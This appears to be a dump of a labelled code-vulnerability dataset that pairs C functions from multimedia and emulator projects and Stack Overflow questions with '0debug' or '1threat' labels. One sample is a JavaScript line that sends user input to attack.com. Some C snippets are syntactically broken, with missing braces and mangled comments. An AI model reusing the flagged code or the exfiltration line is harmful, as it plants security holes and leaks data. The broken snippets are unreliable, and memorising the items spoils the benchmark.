problem
stringlengths 26
131k
| labels
class label 2
classes |
|---|---|
static int _do_rematrixing(AC3DecodeContext *ctx, int start, int end)
{
float tmp0, tmp1;
while (start < end) {
tmp0 = ctx->samples[start];
tmp1 = (ctx->samples + 256)[start];
ctx->samples[start] = tmp0 + tmp1;
(ctx->samples + 256)[start] = tmp0 - tmp1;
start++;
}
return 0;
}
| 1threat
|
Is there easy way to grid search without cross validation in python? : <p>There is absolutely helpful class GridSearchCV in scikit-learn to do grid search and cross validation, but I don't want to do cross validataion. I want to do grid search without cross validation and use whole data to train.
To be more specific, I need to evaluate my model made by RandomForestClassifier with "oob score" during grid search.
Is there easy way to do it? or should I make a class by myself?</p>
<p>The points are</p>
<ul>
<li>I'd like to do grid search with easy way.</li>
<li>I don't want to do cross validation.</li>
<li>I need to use whole data to train.(don't want to separate to train data and test data)</li>
<li>I need to use oob score to evaluate during grid search.</li>
</ul>
| 0debug
|
what the difference between the int array and the new double array? : /*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package testtworeview;
/**
*
* @author mbest
*/
public class TestTwoReview {// && means both need to be true
/**
* @param args the command line arguments
*/
public static void main(String[] args) {
// TODO code application logic here
System.out.println("//Personal example //////////////////////////////");
// can be used for averages
int ducky[]={21,16,86,21,3};
int sum = 0;
for(int counter = 0; counter<ducky.length;counter++){
sum+= ducky[counter];// adding all numbers in array
}
System.out.println("the sum of array is " + sum);
double[] scores = new double[10];
double total = 0; // Initialize accumulator
double average; // Will hold the average
for (int index = 0; index < scores.length; index++)
total += scores[index];
average = total / scores.length;
System.out.println("the average is " + average);
}
}
}
| 0debug
|
static int alac_decode_frame(AVCodecContext *avctx,
void *outbuffer, int *outputsize,
const uint8_t *inbuffer, int input_buffer_size)
{
ALACContext *alac = avctx->priv_data;
int channels;
unsigned int outputsamples;
int hassize;
int readsamplesize;
int wasted_bytes;
int isnotcompressed;
uint8_t interlacing_shift;
uint8_t interlacing_leftweight;
if (!inbuffer || !input_buffer_size)
return input_buffer_size;
if (!alac->context_initialized) {
if (alac->avctx->extradata_size != ALAC_EXTRADATA_SIZE) {
av_log(avctx, AV_LOG_ERROR, "alac: expected %d extradata bytes\n",
ALAC_EXTRADATA_SIZE);
return input_buffer_size;
if (alac_set_info(alac)) {
av_log(avctx, AV_LOG_ERROR, "alac: set_info failed\n");
return input_buffer_size;
alac->context_initialized = 1;
init_get_bits(&alac->gb, inbuffer, input_buffer_size * 8);
channels = get_bits(&alac->gb, 3) + 1;
if (channels > MAX_CHANNELS) {
av_log(avctx, AV_LOG_ERROR, "channels > %d not supported\n",
MAX_CHANNELS);
return input_buffer_size;
skip_bits(&alac->gb, 4);
skip_bits(&alac->gb, 12);
hassize = get_bits1(&alac->gb);
wasted_bytes = get_bits(&alac->gb, 2);
isnotcompressed = get_bits1(&alac->gb);
if (hassize) {
outputsamples = get_bits(&alac->gb, 32);
if(outputsamples > alac->setinfo_max_samples_per_frame){
av_log(avctx, AV_LOG_ERROR, "outputsamples %d > %d\n", outputsamples, alac->setinfo_max_samples_per_frame);
} else
outputsamples = alac->setinfo_max_samples_per_frame;
*outputsize = outputsamples * alac->bytespersample;
readsamplesize = alac->setinfo_sample_size - (wasted_bytes * 8) + channels - 1;
if (!isnotcompressed) {
int16_t predictor_coef_table[channels][32];
int predictor_coef_num[channels];
int prediction_type[channels];
int prediction_quantitization[channels];
int ricemodifier[channels];
int i, chan;
interlacing_shift = get_bits(&alac->gb, 8);
interlacing_leftweight = get_bits(&alac->gb, 8);
for (chan = 0; chan < channels; chan++) {
prediction_type[chan] = get_bits(&alac->gb, 4);
prediction_quantitization[chan] = get_bits(&alac->gb, 4);
ricemodifier[chan] = get_bits(&alac->gb, 3);
predictor_coef_num[chan] = get_bits(&alac->gb, 5);
for (i = 0; i < predictor_coef_num[chan]; i++)
predictor_coef_table[chan][i] = (int16_t)get_bits(&alac->gb, 16);
if (wasted_bytes)
av_log(avctx, AV_LOG_ERROR, "FIXME: unimplemented, unhandling of wasted_bytes\n");
for (chan = 0; chan < channels; chan++) {
bastardized_rice_decompress(alac,
alac->predicterror_buffer[chan],
outputsamples,
readsamplesize,
alac->setinfo_rice_initialhistory,
alac->setinfo_rice_kmodifier,
ricemodifier[chan] * alac->setinfo_rice_historymult / 4,
(1 << alac->setinfo_rice_kmodifier) - 1);
if (prediction_type[chan] == 0) {
predictor_decompress_fir_adapt(alac->predicterror_buffer[chan],
alac->outputsamples_buffer[chan],
outputsamples,
readsamplesize,
predictor_coef_table[chan],
predictor_coef_num[chan],
prediction_quantitization[chan]);
} else {
av_log(avctx, AV_LOG_ERROR, "FIXME: unhandled prediction type: %i\n", prediction_type[chan]);
} else {
if (alac->setinfo_sample_size <= 16) {
int i, chan;
for (chan = 0; chan < channels; chan++)
for (i = 0; i < outputsamples; i++) {
int32_t audiobits;
audiobits = get_bits(&alac->gb, alac->setinfo_sample_size);
audiobits = extend_sign32(audiobits, readsamplesize);
alac->outputsamples_buffer[chan][i] = audiobits;
} else {
int i, chan;
for (chan = 0; chan < channels; chan++)
for (i = 0; i < outputsamples; i++) {
int32_t audiobits;
audiobits = get_bits(&alac->gb, 16);
audiobits = audiobits << 16;
audiobits = audiobits >> (32 - alac->setinfo_sample_size);
audiobits |= get_bits(&alac->gb, alac->setinfo_sample_size - 16);
alac->outputsamples_buffer[chan][i] = audiobits;
interlacing_shift = 0;
interlacing_leftweight = 0;
if (get_bits(&alac->gb, 3) != 7)
av_log(avctx, AV_LOG_ERROR, "Error : Wrong End Of Frame\n");
switch(alac->setinfo_sample_size) {
case 16:
if (channels == 2) {
reconstruct_stereo_16(alac->outputsamples_buffer,
(int16_t*)outbuffer,
alac->numchannels,
outputsamples,
interlacing_shift,
interlacing_leftweight);
} else {
int i;
for (i = 0; i < outputsamples; i++) {
int16_t sample = alac->outputsamples_buffer[0][i];
((int16_t*)outbuffer)[i * alac->numchannels] = sample;
break;
case 20:
case 24:
case 32:
av_log(avctx, AV_LOG_ERROR, "FIXME: unimplemented sample size %i\n", alac->setinfo_sample_size);
break;
default:
break;
if (input_buffer_size * 8 - get_bits_count(&alac->gb) > 8)
av_log(avctx, AV_LOG_ERROR, "Error : %d bits left\n", input_buffer_size * 8 - get_bits_count(&alac->gb));
return input_buffer_size;
| 1threat
|
window.location.href = 'http://attack.com?user=' + user_input;
| 1threat
|
Average of a numpy array returns NaN : <p>I have an np.array with over 330,000 rows. I simply try to take the average of it and it returns NaN. Even if I try to filter out any potential NaN values in my array (there shouldn't be any anyways), average returns NaN. Am I doing something totally wacky? </p>
<p>My code is here: </p>
<pre><code>average(ngma_heat_daily)
Out[70]: nan
average(ngma_heat_daily[ngma_heat_daily != nan])
Out[71]: nan
</code></pre>
| 0debug
|
How this anti-bot defence works? : <p>I tried loading a few pages from <a href="https://property24.com" rel="nofollow noreferrer">https://property24.com</a> with Selenium & Chrome/Firefox.
I have got instant block after downloading single page.</p>
<p>Now I see this <a href="https://i.stack.imgur.com/vOuIg.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/vOuIg.png" alt="enter image description here"></a>
Any ideas what service they use?</p>
| 0debug
|
For loop using more than one list in Python : <p>I'm looking for solution to my problem. At the moment I have two list of elements:</p>
<pre><code>column_width = ["3", "3", "6", "8", "4", "4", "4", "4"]
fade = ["100", "200", "300"]
</code></pre>
<p>What I want to achieve is to create for loop which wil give me following output:</p>
<pre><code>column-3-fade-100
column-3-fade-200
column-6-fade-300
column-8-fade-100
column-4-fade-200
...
</code></pre>
<p>Nested for loop doen't work for me:</p>
<pre><code>for i in fade:
for c in column_width_a:
print("column-{0}-fade-{1}".format(c, i))
</code></pre>
<p>Is there any other way to generate this output?</p>
| 0debug
|
How to connect two different pc to mysql database c# : I have make a program (in C#) and i use mysql database. I want to to have accese in the database through diferent pc using the program i have made. The ather pc in the same internet conection.How can i make that work?
| 0debug
|
bool vring_setup(Vring *vring, VirtIODevice *vdev, int n)
{
hwaddr vring_addr = virtio_queue_get_ring_addr(vdev, n);
hwaddr vring_size = virtio_queue_get_ring_size(vdev, n);
void *vring_ptr;
vring->broken = false;
hostmem_init(&vring->hostmem);
vring_ptr = hostmem_lookup(&vring->hostmem, vring_addr, vring_size, true);
if (!vring_ptr) {
error_report("Failed to map vring "
"addr %#" HWADDR_PRIx " size %" HWADDR_PRIu,
vring_addr, vring_size);
vring->broken = true;
return false;
}
vring_init(&vring->vr, virtio_queue_get_num(vdev, n), vring_ptr, 4096);
vring->last_avail_idx = 0;
vring->last_used_idx = 0;
vring->signalled_used = 0;
vring->signalled_used_valid = false;
trace_vring_setup(virtio_queue_get_ring_addr(vdev, n),
vring->vr.desc, vring->vr.avail, vring->vr.used);
return true;
}
| 1threat
|
How to remove WebStorm sass-lint error "Unknown pseudo selector 'ng-deep'" : <p>Angular 2+ with scss and ::ng-deep in WebStorm highlights this selector with text "Unknown pseudo selector 'ng-deep'"</p>
<p>I tried something like:</p>
<pre><code>selector-pseudo-class-no-unknown: true
ignorePseudoClasses: ng-deep
or
selector-pseudo-class-no-unknown: false
</code></pre>
<p>None of this works.</p>
<p>How to set exception in scss-lint.yml for this pseudo-selectors?</p>
| 0debug
|
Iam trying to execute automated script generated from azure for iothub end points,When iam exetuting error : PLease find below is the error:
New-AzureRmResourceGroupDeployment : 12:25:25 AM - Error:
Code=InvalidTemplate; Message=Deployment template validation failed: 'The
template resource 'ServiceBus1/Topic1/iothubroutes_CIMS-IOTHUB' at line '216'
and column '10' is not valid: Unable to evaluate template language function
'resourceId': function requires exactly one multi-segmented argument which
must be resource type including resource provider namespace. Current function
arguments 'Microsoft.ServiceBus/namespaces/topics,ServiceBus1/Topic1'. Please
see https://aka.ms/arm-template-expressions/#resourceid for usage details..
Please see https://aka.ms/arm-template-expressions for usage details.'.
At C:\Users\dodla.sandeep.reddy\Desktop\SandeepEndpoints\CIMS-ResourceGrp\deplo
y.ps1:104 char:5
+ New-AzureRmResourceGroupDeployment -ResourceGroupName $resourceGr ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [New-AzureRmResourceGroupDeplo
yment], Exception
+ FullyQualifiedErrorId : Microsoft.Azure.Commands.ResourceManager.Cmdlets
.Implementation.NewAzureResourceGroupDeploymentCmdlet
Please find below is is the template file piece of code:
"enableExpress": false
},
"dependsOn": [
"[resourceId('Microsoft.ServiceBus/namespaces', parameters('namespaces_CIMS_ServiceBus_name'))]"
]
},
{
"comments": "Generalized from resource: '/subscriptions/c1c02629-75bc-4c9b-aabe-54a0189d8939/resourcegroups/CIMS-ResourceGrp/providers/Microsoft.ServiceBus/namespaces/CIMS-ServiceBus/topics/cims-topic/authorizationRules/iothubroutes_CIMS-IOTHUB'.",
"type": "Microsoft.ServiceBus/namespaces/topics/authorizationRules",
"name": "[parameters('authorizationRules_iothubroutes_CIMS_IOTHUB_name')]",
"apiVersion": "2015-08-01",
"location": "East US",
"scale": null,
"properties": {
"rights": [
"Send"
]
},
"dependsOn": [
"[resourceId('Microsoft.ServiceBus/namespaces', parameters('namespaces_CIMS_ServiceBus_name'))]",
"[resourceId('Microsoft.ServiceBus/namespaces/topics', parameters('topics_cims_topic_name'))]"
]
| 0debug
|
How does function.apply.bind work in the following code? : <p>So I get that an array of [200,599] is returned from the promise and the callback function inside spread is being passed into Function.apply.bind, but now I'm lost. How is the array of [200,599] split into x and y? How exactly does the apply.bind work?</p>
<pre><code>function getY(x) {
return new Promise( function(resolve,reject){
setTimeout( function(){
resolve( (3 * x) - 1 );
}, 100 );
} );
}
function foo(bar,baz) {
var x = bar * baz;
// return both promises
return [
Promise.resolve( x ),
getY( x )
];
}
function spread(fn) {
return Function.apply.bind( fn, null );
}
Promise.all(
foo( 10, 20 )
)
.then(
spread( function(x,y){
console.log( x, y ); // 200 599
} )
)
</code></pre>
| 0debug
|
av_cold struct FFPsyPreprocessContext* ff_psy_preprocess_init(AVCodecContext *avctx)
{
FFPsyPreprocessContext *ctx;
int i;
float cutoff_coeff = 0;
ctx = av_mallocz(sizeof(FFPsyPreprocessContext));
ctx->avctx = avctx;
if (avctx->cutoff > 0)
cutoff_coeff = 2.0 * avctx->cutoff / avctx->sample_rate;
if (cutoff_coeff)
ctx->fcoeffs = ff_iir_filter_init_coeffs(FF_FILTER_TYPE_BUTTERWORTH, FF_FILTER_MODE_LOWPASS,
FILT_ORDER, cutoff_coeff, 0.0, 0.0);
if (ctx->fcoeffs) {
ctx->fstate = av_mallocz(sizeof(ctx->fstate[0]) * avctx->channels);
for (i = 0; i < avctx->channels; i++)
ctx->fstate[i] = ff_iir_filter_init_state(FILT_ORDER);
}
return ctx;
}
| 1threat
|
How to check if a sub-directory does not contain a certain file in python? : <p>Need to append something to the following code:</p>
<pre><code>for subdir, dirs, files in os.walk(rootdir):
for file in files:
if file.endswith(".json"):
json_files.append(os.path.join(subdir, file))
if file.endswith(".list"):
table_files.append(os.path.join(subdir, file))
</code></pre>
<p>In psuedocode, need to add an if statement like:</p>
<pre><code>if a sub-directory does not contain a file that ends in ".list",
table_files.append('')
</code></pre>
<p>Have tried searching but can't seem to find something that works exactly</p>
| 0debug
|
Deploy .Net Solution with multiple project : I Have a solution that contains multiple projets
-SOLUTION:
1- ASP MVC Project
2- web api project
3 BLL project (class library)
4 DAL project (class library)
the web api project dependes on the BLL and DAL project
the ASP MVC Project has no dependence , it consums only service from web api project
I went to deploy my solution: I start by deploying web api project in IIS 7(by right click and choose publish in the contextual menu) , when deployement is finished i receive an error message : the library BLL and BAL was not recognized
I can not identify the source of this problem
can someone help please ?
| 0debug
|
int kvm_init_vcpu(CPUState *env)
{
KVMState *s = kvm_state;
long mmap_size;
int ret;
DPRINTF("kvm_init_vcpu\n");
ret = kvm_vm_ioctl(s, KVM_CREATE_VCPU, env->cpu_index);
if (ret < 0) {
DPRINTF("kvm_create_vcpu failed\n");
goto err;
}
env->kvm_fd = ret;
env->kvm_state = s;
mmap_size = kvm_ioctl(s, KVM_GET_VCPU_MMAP_SIZE, 0);
if (mmap_size < 0) {
DPRINTF("KVM_GET_VCPU_MMAP_SIZE failed\n");
goto err;
}
env->kvm_run = mmap(NULL, mmap_size, PROT_READ | PROT_WRITE, MAP_SHARED,
env->kvm_fd, 0);
if (env->kvm_run == MAP_FAILED) {
ret = -errno;
DPRINTF("mmap'ing vcpu state failed\n");
goto err;
}
#ifdef KVM_CAP_COALESCED_MMIO
if (s->coalesced_mmio && !s->coalesced_mmio_ring)
s->coalesced_mmio_ring = (void *) env->kvm_run +
s->coalesced_mmio * PAGE_SIZE;
#endif
ret = kvm_arch_init_vcpu(env);
if (ret == 0) {
qemu_register_reset(kvm_reset_vcpu, env);
kvm_arch_reset_vcpu(env);
}
err:
return ret;
}
| 1threat
|
Nginx on Fedora 26: could not build optimal types_hash error message : <p>I've installed Fedora and Ngnix, added all the configuration files for my local development, when I started to see this error</p>
<pre><code>nginx: [warn] could not build optimal types_hash, you should increase either types_hash_max_size: 2048 or types_hash_bucket_size: 64; ignoring types_hash_bucket_size
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
</code></pre>
<p>I found solutions saying that I should add <code>types_hash_bucket_size</code> to <code>nginx.conf</code>, but I've added it, removed the default one, removed both and added both, it insists on showing this error.</p>
<pre><code>http {
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
access_log /var/log/nginx/access.log main;
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
# I tried leaving both, removing both and one of each. The error persists.
types_hash_max_size 2048;
server_names_hash_bucket_size 128;
</code></pre>
<p><code>types_hash_max_size</code> was there by default when I installed nginx, though.</p>
<p>My files from <code>sites-enabled</code>:</p>
<pre><code>server {
listen 80;
server_name devapi.hporder.com;
root /home/gabriel/Sites/hp-order-system/workspace/api;
client_max_body_size 10M;
location ~ ^/(images|javascript|js|css|flash|media|static)/ {
expires 30d;
}
location / {
index index.php index.html index.htm;
try_files $uri $uri/ /index.php$is_args$args;
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/local/Cellar/nginx/1.10.1/html;
}
location ~ \.php$ {
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_param FF_BOOTSTRAP_ENVIRONMENT dev;
fastcgi_param FF_BOOTSTRAP_CONFIG api/dev;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
# include /usr/local/etc/nginx/fastcgi.conf;
fastcgi_buffer_size 1024k;
fastcgi_buffers 1024 1024k;
fastcgi_busy_buffers_size 1024k;
}
}
</code></pre>
| 0debug
|
int avio_read(AVIOContext *s, unsigned char *buf, int size)
{
int len, size1;
size1 = size;
while (size > 0) {
len = FFMIN(s->buf_end - s->buf_ptr, size);
if (len == 0 || s->write_flag) {
if((s->direct || size > s->buffer_size) && !s->update_checksum) {
if(s->read_packet)
len = s->read_packet(s->opaque, buf, size);
else
len = AVERROR_EOF;
if (len == AVERROR_EOF) {
s->eof_reached = 1;
break;
} else if (len < 0) {
s->eof_reached = 1;
s->error= len;
break;
} else {
s->pos += len;
s->bytes_read += len;
size -= len;
buf += len;
s->buf_ptr = s->buffer;
s->buf_end = s->buffer;
}
} else {
fill_buffer(s);
len = s->buf_end - s->buf_ptr;
if (len == 0)
break;
}
} else {
memcpy(buf, s->buf_ptr, len);
buf += len;
s->buf_ptr += len;
size -= len;
}
}
if (size1 == size) {
if (s->error) return s->error;
if (avio_feof(s)) return AVERROR_EOF;
}
return size1 - size;
}
| 1threat
|
Is possible unzip file with multi-core? : <p>I have this code:</p>
<pre><code>unzip -q "file.zip" -d path
</code></pre>
<p>Is possibile unzip with multi-core?</p>
<p>Thanks</p>
| 0debug
|
How to add +1value on the entire row of my database table row name Age? : just new in programming i created a database using xampp with 3 column (f_name, l_name, age) i created a index.php page where i have only 1 button present, what i am expecting to happen is that if i click that button the entire row "age" will commit +1 to all current value inside the "age".(possible?)
but unfortunately i don't know how to do the code. i would like to see one
simple example of code that will do the +1 to the entire row of age.
at lease a base logic that will help me figure it out how to do it.
thanks advance and sorry for my bad english.
| 0debug
|
How to reload a page in PHP before exit function? : <p>I got some code like this and the header is not working</p>
<pre><code> if ($variable > 0) {
header('Location: mypage.php');
exit;
}
</code></pre>
<p>And I need exit function, is this a bad idea?</p>
| 0debug
|
LUNIX ls grep command : i want to know What is the difference between the two command:
## ls l file; grep *pl file##
## ls l file; grep ".*pl" file##
thank you.
| 0debug
|
static void ps2_reset_keyboard(PS2KbdState *s)
{
trace_ps2_reset_keyboard(s);
s->scan_enabled = 1;
s->scancode_set = 2;
ps2_set_ledstate(s, 0);
}
| 1threat
|
MSSQL Database Query Help Required : I have a specific scenario in which I have to assign discounts applicable on some Car Leads based on some given rules of Permutation and Combination.
To explain in details, I have these two tables:
[Below table contains some raw data of all leads of vehicle][1]
Lead Data
LeadId City FuelType Make
1 1 Petrol Maruti
2 1 Diesel Honda
3 1 Diesel Honda
4 1 Petrol Maruti
5 NULL NULL Maruti
AND
[Below Table contains the Rules (Permutation and combination) for all discunts][2]
[1]: https://i.stack.imgur.com/RuptY.png
[2]: https://i.stack.imgur.com/LRz2T.png
What I want is to get the best rule from Rules based on the maximum number of variables matches in Rules from Lead.
Can someone please help me out here to write SQL for this?
It might save my hours.
Thanks in advanced.
| 0debug
|
Approaches to improve chart eficiency in C# winforms? : I have a simple chart that prints values read by a photoresistor. Also the chart prints 2 thresholds. My problem is that when more than 300 or 400 points are printed in the chart, it becomes quite unreadable. Look at this:
[![enter image description here][1]][1]
I thought that using an incremental counter and doing this:
if (i > 300) {
chart1.Invoke(new Action(() => {chart1.Series[0].Points.Clear(); }));
chart1.Invoke(new Action(() => { chart1.Series[1].Points.Clear(); }));
chart1.Invoke(new Action(() => { chart1.Series[2].Points.Clear(); }));
i = 0;
}
The problem is solved as my chart becomes empty and readable again, but I don't want to clear and lose all my previous data.
What alternative solutions can I try so my data won't be deleted, but keeping my chart readable?
[1]: https://i.stack.imgur.com/Kr9Xx.jpg
| 0debug
|
Why 12/13 value is 1 in c# : <p>I tried this expression 12/13 in c# and I got value as 1
When I cast the value to double then actual value is coming.</p>
<p>Can someone explain me why this is happening?</p>
<p>Thanks
Ajit</p>
| 0debug
|
long do_sigreturn(CPUX86State *env)
{
struct sigframe *frame;
abi_ulong frame_addr = env->regs[R_ESP] - 8;
target_sigset_t target_set;
sigset_t set;
int eax, i;
#if defined(DEBUG_SIGNAL)
fprintf(stderr, "do_sigreturn\n");
#endif
if (!lock_user_struct(VERIFY_READ, frame, frame_addr, 1))
goto badframe;
if (__get_user(target_set.sig[0], &frame->sc.oldmask))
goto badframe;
for(i = 1; i < TARGET_NSIG_WORDS; i++) {
if (__get_user(target_set.sig[i], &frame->extramask[i - 1]))
goto badframe;
}
target_to_host_sigset_internal(&set, &target_set);
sigprocmask(SIG_SETMASK, &set, NULL);
if (restore_sigcontext(env, &frame->sc, &eax))
goto badframe;
unlock_user_struct(frame, frame_addr, 0);
return eax;
badframe:
unlock_user_struct(frame, frame_addr, 0);
force_sig(TARGET_SIGSEGV);
return 0;
}
| 1threat
|
it is throwing "A"."AMOUNT": invalid identifier can anybody resolve this? : select s.sid,a.amount from sale s inner join (select saleid,sum((1-p.discount/100)*sd.quantity*p.price) "amount" from saledetail sd inner join product p on sd.prodid=p.prodid group by sd.saleid) a on a.saleid=s.saleid
| 0debug
|
Generating CRUD in symfony 4 : <p>After releasing Symfony 4.0, there is no support for <code>SensioGeneratorBundle</code>. hence the command <code>php app/console generate:doctrine:crud</code> is not available. </p>
<p>They suggest to use <strong>MakerBundle</strong>, but I could not find appropriate replacement for CRUD generation.</p>
<p>Could anyone help?</p>
| 0debug
|
C# Threading Read Write locks : <p>Hi what will be the cleanest solution for the following pattern ?</p>
<p>Given a class for Read and Write some file/resouce, providing already implemented "read()" and "write()" functions. Create a "Read()" and "Write()" function that would wrap the "read()" and "write()"and prevent threads from interfering as follows:</p>
<p>a. multiple threads are allowed to Read</p>
<p>b. Only one thread is allowed to Write - so if a thread is already writing the other threads must wait.</p>
<p>c. writing must be prevented while a thread is reading and vice versa</p>
| 0debug
|
static int colo_packet_compare(Packet *ppkt, Packet *spkt)
{
trace_colo_compare_ip_info(ppkt->size, inet_ntoa(ppkt->ip->ip_src),
inet_ntoa(ppkt->ip->ip_dst), spkt->size,
inet_ntoa(spkt->ip->ip_src),
inet_ntoa(spkt->ip->ip_dst));
if (ppkt->size == spkt->size) {
return memcmp(ppkt->data, spkt->data, spkt->size);
} else {
return -1;
}
}
| 1threat
|
cannot update identity column in Entity Framework Core : <p>I've added a separate Identification to the AspNetUsers table called NumericId that will serve along with the GUID like ID that ASP has for default.</p>
<p>I've added the property as an additional property of the ApplicationUser class:</p>
<pre><code>public class ApplicationUser : IdentityUser
{
[DatabaseGenerated(DatabaseGeneratedOption.Identity)]
public virtual int NumericId { get; set; }
}
</code></pre>
<p>However, when I try to register, or update the user's details (that aren't even relevant to the numericId) I keep getting the error </p>
<pre><code>SqlException: Cannot update identity column 'NumericId'.
</code></pre>
<p>which prevents any changes and in the end does not update the user (but it does register one, and Numeric Id is properly assigned on that part. But this is irrelevant)</p>
| 0debug
|
Lumen middleware sort (priority) : <p>I'm using <code>"laravel/lumen-framework": "5.7.*"</code></p>
<p>I have two middlewares, first one <code>AuthTokenAuthenticate</code> that should be applied to all the routes, so its defined in <code>bootstrap/app.php</code> like</p>
<pre><code>$app->middleware([
App\Http\Middleware\AuthTokenAuthenticate::class
]);
</code></pre>
<p>Another middleware is defined like </p>
<pre><code>$app->routeMiddleware([
'auth.token' => Vendor\Utilities\Middleware\AuthToken::class
]);
</code></pre>
<p>and will only be applied to some specific routes.</p>
<p>I need <code>auth.token</code> to be executed first, then <code>AuthTokenAuthenticate</code> but I can't find the way to do it because Lumen executes <code>$app->middleware</code> routes first. </p>
<p>Laravel has <code>$middlewarePriority</code> which is exactly what I need, but how can I handle it in Lumen? </p>
| 0debug
|
How to histogram one dimensional data in r? : <p>If <code>x</code> is one dimensional data like this<code>x=c(43,56,33,67,34,66,78,34)</code> then how I get the histogram of <code>x</code>. I know that histogram requires a frequency. But how about in this case?</p>
| 0debug
|
static int can_safely_read(GetBitContext* gb, uint64_t bits) {
return get_bits_left(gb) >= bits;
}
| 1threat
|
MySQL - SELECT COUNT(*) AND IGNORE SAME ID : <p>As per the title, I want to count rows in a table but if multiple rows got same ID, should count them as ONE ROW.</p>
<p>For example, I have a table named <code>my_table</code>.</p>
<p>And below is the data:</p>
<p><a href="https://i.stack.imgur.com/cpC3n.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/cpC3n.png" alt="enter image description here"></a></p>
<p>Ok, let's say if I run this query: <code>SELECT COUNT(*) AS cnt FROM my_table;</code></p>
<p>the result will be
<code>cnt = 6</code> ..</p>
<p>But I don't want that.</p>
<p>What I want to achieve is the <code>cnt</code> should be <code>4</code> because multiple rows with SAME ID should be counted as ONE..</p>
<p>p/s: Sorry for my bad english language..</p>
| 0debug
|
static void mp3_write_xing(AVFormatContext *s)
{
MP3Context *mp3 = s->priv_data;
AVCodecContext *codec = s->streams[mp3->audio_stream_idx]->codec;
int32_t header;
MPADecodeHeader mpah;
int srate_idx, i, channels;
int bitrate_idx;
int best_bitrate_idx;
int best_bitrate_error = INT_MAX;
int xing_offset;
int ver = 0;
int lsf, bytes_needed;
if (!s->pb->seekable || !mp3->write_xing)
return;
for (i = 0; i < FF_ARRAY_ELEMS(avpriv_mpa_freq_tab); i++) {
const uint16_t base_freq = avpriv_mpa_freq_tab[i];
if (codec->sample_rate == base_freq) ver = 0x3;
else if (codec->sample_rate == base_freq / 2) ver = 0x2;
else if (codec->sample_rate == base_freq / 4) ver = 0x0; .5
else continue;
srate_idx = i;
break;
}
if (i == FF_ARRAY_ELEMS(avpriv_mpa_freq_tab)) {
av_log(s, AV_LOG_WARNING, "Unsupported sample rate, not writing Xing "
"header.\n");
return;
}
switch (codec->channels) {
case 1: channels = MPA_MONO; break;
case 2: channels = MPA_STEREO; break;
default: av_log(s, AV_LOG_WARNING, "Unsupported number of channels, "
"not writing Xing header.\n");
return;
}
header = 0xff << 24;
header |= (0x7 << 5 | ver << 3 | 0x1 << 1 | 0x1) << 16; /audio-version/layer 3/no crc*/
header |= (srate_idx << 2) << 8;
header |= channels << 6;
lsf = !((header & (1 << 20) && header & (1 << 19)));
xing_offset = xing_offtbl[ver != 3][channels == 1];
bytes_needed = 4
+ xing_offset
+ 4
+ 4
+ 4
+ 4
+ XING_TOC_SIZE;
for (bitrate_idx = 1; bitrate_idx < 15; bitrate_idx++) {
int bit_rate = 1000 * avpriv_mpa_bitrate_tab[lsf][3 - 1][bitrate_idx];
int error = FFABS(bit_rate - codec->bit_rate);
if (error < best_bitrate_error){
best_bitrate_error = error;
best_bitrate_idx = bitrate_idx;
}
}
for (bitrate_idx = best_bitrate_idx; bitrate_idx < 15; bitrate_idx++) {
int32_t mask = bitrate_idx << (4 + 8);
header |= mask;
avpriv_mpegaudio_decode_header(&mpah, header);
if (bytes_needed <= mpah.frame_size)
break;
header &= ~mask;
}
avio_wb32(s->pb, header);
avpriv_mpegaudio_decode_header(&mpah, header);
av_assert0(mpah.frame_size >= XING_MAX_SIZE);
ffio_fill(s->pb, 0, xing_offset);
mp3->xing_offset = avio_tell(s->pb);
ffio_wfourcc(s->pb, "Xing");
avio_wb32(s->pb, 0x01 | 0x02 | 0x04); / size / TOC
mp3->size = mpah.frame_size;
mp3->want = 1;
avio_wb32(s->pb, 0);
avio_wb32(s->pb, 0);
for (i = 0; i < XING_TOC_SIZE; i++)
avio_w8(s->pb, 255 * i / XING_TOC_SIZE);
ffio_fill(s->pb, 0, mpah.frame_size - bytes_needed);
}
| 1threat
|
Simulink integrator in library Python : <p>i have a question, about for the block the simulink integrator, i looking for alternative in python with scipy or other library, please.</p>
<p>Integer block ----> Scipy Python or other</p>
| 0debug
|
how to make my function work in javascript : I'm new to js and I have to use a function for different options but I do not know how to make it work.
function changecolor(){
$(this).css('background-color', 'white');
$(this).css('border-top', '0.1px solid #8c8a8a');
$(this).css('border-right', '0.1px solid #8c8a8a');
}
I want that every time I click on the options I activate the function changecolor
$('#op1').on('click', function(e){
e.preventDefault();
changecolor();
});
| 0debug
|
Enable and disable dates jquery using datepicker : <p>I am using the jquery datepicker. I have set an array of dates which should be disabled, this is working fine:</p>
<pre><code> var vakantie = ["25-12-2018", "26-12-2018", "27-12-2018", "28-12-2018", "29-12-2018", "30-12-2018", "31-12-2018"];
function nietBeschikbaar(dt){
var datestring = jQuery.datepicker.formatDate('dd-mm-yy', dt);
return [dt.getDay() == 1 || dt.getDay() == 2 ? false : true && vakantie.indexOf(datestring) == -1 ];
};
jQuery("#datepicker").datepicker("option", "beforeShowDay", nietBeschikbaar);
</code></pre>
<p>Now I would also want one date to be enabled (every monday and tuesday is also disabled, but this date is on a monday). With this code I can disable everything except this one date:</p>
<pre><code> var enableDays = ["24-12-2018"];
function enableAllTheseDays(date) {
var sdate = $.datepicker.formatDate( 'dd-mm-yy', date)
if($.inArray(sdate, enableDays) != -1) {
return [true];
}
return [false];
}
jQuery("#datepicker").datepicker("option", "beforeShowDay", enableAllTheseDays);
</code></pre>
<p>But now I would like to combine these two scripts, so I would like to disable the 'vakantie' array, and also enable the 'enableDays' array. I can't get them working togheter, could anyone help me out?</p>
| 0debug
|
